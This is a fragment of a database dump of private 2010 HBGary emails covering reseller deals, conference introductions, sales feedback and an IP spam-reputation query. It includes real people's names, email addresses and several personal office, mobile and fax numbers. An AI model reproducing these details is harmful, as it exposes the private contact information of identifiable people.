Fidelis/Endgame.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo let me know your thoughts on this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Thursday, May 20,\r\n2010 12:13 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny, will have a look and get back to you by early\r\nnext week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our standard reseller form.&nbsp; Here are\r\ndatasheets and two white papers.&nbsp; We are releasing a new white paper at\r\nCEIC, so I&#8217;ll send that to you once it&#8217;s out.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19,\r\n2010 4:18 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever\'s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They\r\nbuild and manage the product. &nbsp;Penny will get you the reseller agreement.\r\n&nbsp;We use the HBGary products as our foundation for enterprise incident\r\nresponse engagements. &nbsp;I will send you some information on this. &nbsp;Can\r\nwe talk briefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1\r\n(613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010\r\n11:14:20 AM EDT\r\nTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some broader\r\nrelated attacks (shadownet). &nbsp;Their investigative techniques are thorough\r\nand would likely provide some good information to the group at the REBL\r\nconference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference. &nbsp;He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc. &nbsp;I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary-VAR Agrmt (6-08)1\r\n(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder\r\npro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware\r\nReport_FINAL_FINAL.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11178,'aaron_hbgary_com/11178.html'),(6907,'2010-06-01','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297005014.M999104P14101Q1762.eml','aaron@hbgary.com','Re: Meeting invitation: Sicily Discussion','Aaron, thanks for your time on the line today.  We\'re excited that you guys are immediately seeing value from the feed.  I owe you some feedback on the items we discussed at the end of the call.  What times work for you to have a follow-up call on partnership opportunities?  I\'d like to bring in Chris on this end as well.  Thanks Aaron, talk soon.\r\n\r\nBest,\r\n-d\r\n\r\n---------------------------------\r\nDaniel S. Ingevaldson, COO\r\nEndgame Systems, LLC\r\ndsi@endgames.us\r\n(w)404-781-2955\r\n(f)404-781-2951\r\n(m)404-992-9449\r\n\r\n',3387,'aaron_hbgary_com/3387.html'),(6908,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005015.M245933P14101Q1763.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: Great feedback from CEIC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere are we on getting a\r\nmeeting with the CIO.&nbsp; I think if we showed management what we have, they would\r\nbe equally blown away\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 01, 2010 10:01 AM\r\nTo: all@hbgary.com\r\nSubject: Great feedback from CEIC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nAnthony of Computer Sciences Corp said he was &#8220;blown away&#8221;\r\nby the AD demo at CEIC.&nbsp; Thank you dev team for a great product. And thank\r\nyou Greg for doing that demo.\r\n\r\n&nbsp;\r\n\r\nCSC said AD will give them so much more than just DDNA and\r\nRAM analysis.&nbsp; They are looking at us to fill many more needs now.&nbsp;\r\nCSC will be doing an eval and hopefully they will get $$ approval to buy.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1278,'aaron_hbgary_com/1278.html'),(6909,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005020.M610229P14101Q1764.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: status of stock paperwork','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you sign this, if not I need\r\nit signed and sent back. (scanning is fine)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11096,'aaron_hbgary_com/11096.html'),(6910,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005021.M12006P14101Q1765.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Great feedback from CEIC','Can&#39;t Andy get us with the CIO?  I know Sam Visner, who runs CSCs cyber efforts.  He will be at the dinner next week I will talk to him about AD and setting up a demo.\r\nAaron Sent from my iPadOn Jun 1, 2010, at 7:09 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWhere are we on getting a\r\nmeeting with the CIO.  I think if we showed management what we have, they would\r\nbe equally blown away\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 01, 2010 10:01 AM\r\nTo: all@hbgary.com\r\nSubject: Great feedback from CEIC\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAll,\r\n\r\n \r\n\r\nAnthony of Computer Sciences Corp said he was “blown away”\r\nby the AD demo at CEIC.  Thank you dev team for a great product. And thank\r\nyou Greg for doing that demo.\r\n\r\n \r\n\r\nCSC said AD will give them so much more than just DDNA and\r\nRAM analysis.  They are looking at us to fill many more needs now. \r\nCSC will be doing an eval and hopefully they will get $$ approval to buy.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11771,'aaron_hbgary_com/11771.html'),(6911,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005021.M233433P14101Q1766.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: laptops','Begin forwarded message:From: &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt;\r\nDate: June 1, 2010 5:47:20 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;, &lt;mark@hbgary.com&gt;Cc: &quot;Spiller, John F.&quot; &lt;John.Spiller@gd-ais.com&gt;\r\nSubject: RE: laptopsWe&#39;ll hold the laptops for as long as we can.  Possession is 9/10 of the law. As for shipping, they can&#39;t leave our building because they are GFE I found out. Sorry. \r\nI sent the customer an email today so we&#39;re waiting for an answer at this point...I expect one in a week or so at the rate they move. -----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, June 01, 2010 11:58 AMTo: Thompson, Bill M.; mark@hbgary.com\r\nSubject: Re: laptopsYes, thanks for your notes, they made sense.  We were not able toduplicate the behavior in our environment however.  How long will you\r\nhave custody of the laptops?  Would it be possible to send one or moreto us for a couple of days so we can do some debugging?TedOn Tue, Jun 1, 2010 at 11:19 AM, Thompson, Bill M.\r\n&lt;Bill.Thompson@gd-ais.com&gt; wrote:Did the previous email I sent make sense w.r.t the errors/erratic behavior?\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, June 01, 2010 10:17 AMTo: Thompson, Bill M.Subject: Re: laptops\r\nThanks for the update Bill, we&#39;ll keep our fingers crossed.\r\nTedOn Tue, Jun 1, 2010 at 11:14 AM, Thompson, Bill M.\r\n&lt;Bill.Thompson@gd-ais.com&gt; wrote:Hey Ted,\r\nGood news and bad news. We managed to hijack 6 of the laptops that behaved\r\nerratically during the testing and we have them here in Santa Clara.  They\r\nare available for your use.  Unfortunately we do not have the $10k anymorefor you guys to use to tweak the code since we needed the $ to write the\r\nfinal report and submit.\r\nOur plan is to hurry up and wait to see if the customer bites on the ipodconversion and make the tweaks then.  If they don&#39;t bite, then I guess it&#39;s\r\nkind of irrelevant to make the tweaks anyway which would really suck.  I&#39;m\r\ngoing to send an email now to the customer who indicated he was going to&quot;see if they have something like this already&quot; which I doubt they do.\r\nThat&#39;s the latest - just keeping you up to date.\r\nBill\r\n--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',2842,'aaron_hbgary_com/2842.html'),(6912,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005021.M453156P14101Q1767.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Akamai Technologies Capabilities Meeting','Chris,Any way we can do this on a different day? &nbsp;I am giving a talk on social networking at the NSA REBL conference at 10:15am same day.AaronOn May 29, 2010, at 10:40 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, June 15, 2010 10:00 AM\r\nEnd Time:Tuesday, June 15, 2010 11:00 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF3, 3B\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n*** Notice the new date *****\r\n\r\nAkamai Technologies&nbsp; - George Economou&nbsp; is visiting us to talk about what they can provide for COIN.\r\n\r\nLet me know if you have any questions.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8824,'aaron_hbgary_com/8824.html'),(6913,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005021.M672427P14101Q1768.eml','\"Bob Slapnik\" <bob@hbgary.com>','Anything from Bob Nissen','I haven\'t heard a word from Matt Bodman, was going to ping him again, but wanted to check with you first.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3456,'aaron_hbgary_com/3456.html'),(6914,'2010-06-02','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005021.M942908P14101Q1769.eml','\"Barr Aaron\" <aaron@hbgary.com>','Business Owners Use Apps! | Appiction','http://www.appiction.com/business-owners-use-apps?utm_source=Google&utm_medium=cpc&utm_campaign=IpadApps&utm_adgroup=Phrase&kw=ipad%20apps&ad=5027034771\r\n',6324,'aaron_hbgary_com/6324.html'),(6915,'2010-06-02','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005022.M218599P14101Q1770.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check out Documents To Go® Premium - Office Suite','\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Documents To Go® Premium - Office Suite\r\n      DataViz, Inc.\r\n      \r\n        Category: Business\r\n      \r\n      \r\n      \r\n        Updated: Jun 01, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         35 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n',16044,'aaron_hbgary_com/16044.html'),(6916,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005022.M458128P14101Q1771.eml','\"Wallisch Phil\" <phil@hbgary.com>,\"Wallisch Phil\" <phil@hbgary.com>','Endgame Query','The query is still running but this is what we have so far. I\'ll send\r\nyou the final results in the morning.\r\n\r\nTed\r\n\r\nIP : 199.89.73.222\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Jan 20 14:59:00 2009 GMT\r\n\r\nIP : 199.89.93.160\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 199.89.95.143\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 199.89.111.246\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 16 07:59:00 2009 GMT\r\n\r\nIP : 199.89.114.2\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Sep 24 05:59:00 2009 GMT\r\n\r\nIP : 199.89.117.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 199.89.120.38\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan  9 16:59:00 2009 GMT\r\n\r\nIP : 138.20.81.212\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 24 16:59:00 2009 GMT\r\n\r\nBEGINIP : 138.20.150.221\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb  5 01:59:00 2009 GMT\r\n\r\nIP : 138.20.192.235\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb  6 23:59:00 2009 GMT\r\n\r\nIP : 138.20.242.214\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 14:59:00 2009 GMT\r\n\r\nIP : 144.14.14.168\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 17:59:00 2009 GMT\r\n\r\nIP : 144.14.23.118\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb  7 01:59:00 2009 GMT\r\n',12210,'aaron_hbgary_com/12210.html'),(6917,'2010-06-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005022.M772007P14101Q1772.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Great feedback from CEIC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome.&nbsp; Apparently the CIO is clueless about security but\r\nsince the CISO reports to him, it causes the team tons of pain.&nbsp; The CIO has\r\nfriends that use &#8220;mandiant&#8221;.&nbsp; He asked why CSC wasn&#8217;t looking at them.&nbsp; CSC\r\nsecurity HATES mandiant, so our stuff is on hold.&nbsp; We want to know CIO\r\nobjections so we can proceed with a buy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 01, 2010 7:04 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Great feedback from CEIC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan\'t Andy get us with the CIO? &nbsp;I know Sam Visner, who\r\nruns CSCs cyber efforts. &nbsp;He will be at the dinner next week I will talk\r\nto him about AD and setting up a demo.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron&nbsp;\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 1, 2010, at 7:09 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere are we on getting a meeting with the CIO.&nbsp; I\r\nthink if we showed management what we have, they would be equally blown away\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 01, 2010 10:01 AM\r\nTo: all@hbgary.com\r\nSubject: Great feedback from CEIC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nAnthony\r\nof Computer Sciences Corp said he was &#8220;blown away&#8221; by the AD demo at\r\nCEIC.&nbsp; Thank you dev team for a great product. And thank you Greg for\r\ndoing that demo.\r\n\r\n&nbsp;\r\n\r\nCSC\r\nsaid AD will give them so much more than just DDNA and RAM analysis.&nbsp; They\r\nare looking at us to fill many more needs now.&nbsp; CSC will be doing an eval\r\nand hopefully they will get $$ approval to buy.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8865,'aaron_hbgary_com/8865.html'),(6918,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005023.M121407P14101Q1773.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','','Penny/Greg,\r\n\r\nTalking Bob, HBGary Federal would like to write a front end for the\r\nTMC to pull and display RECon data of interest to 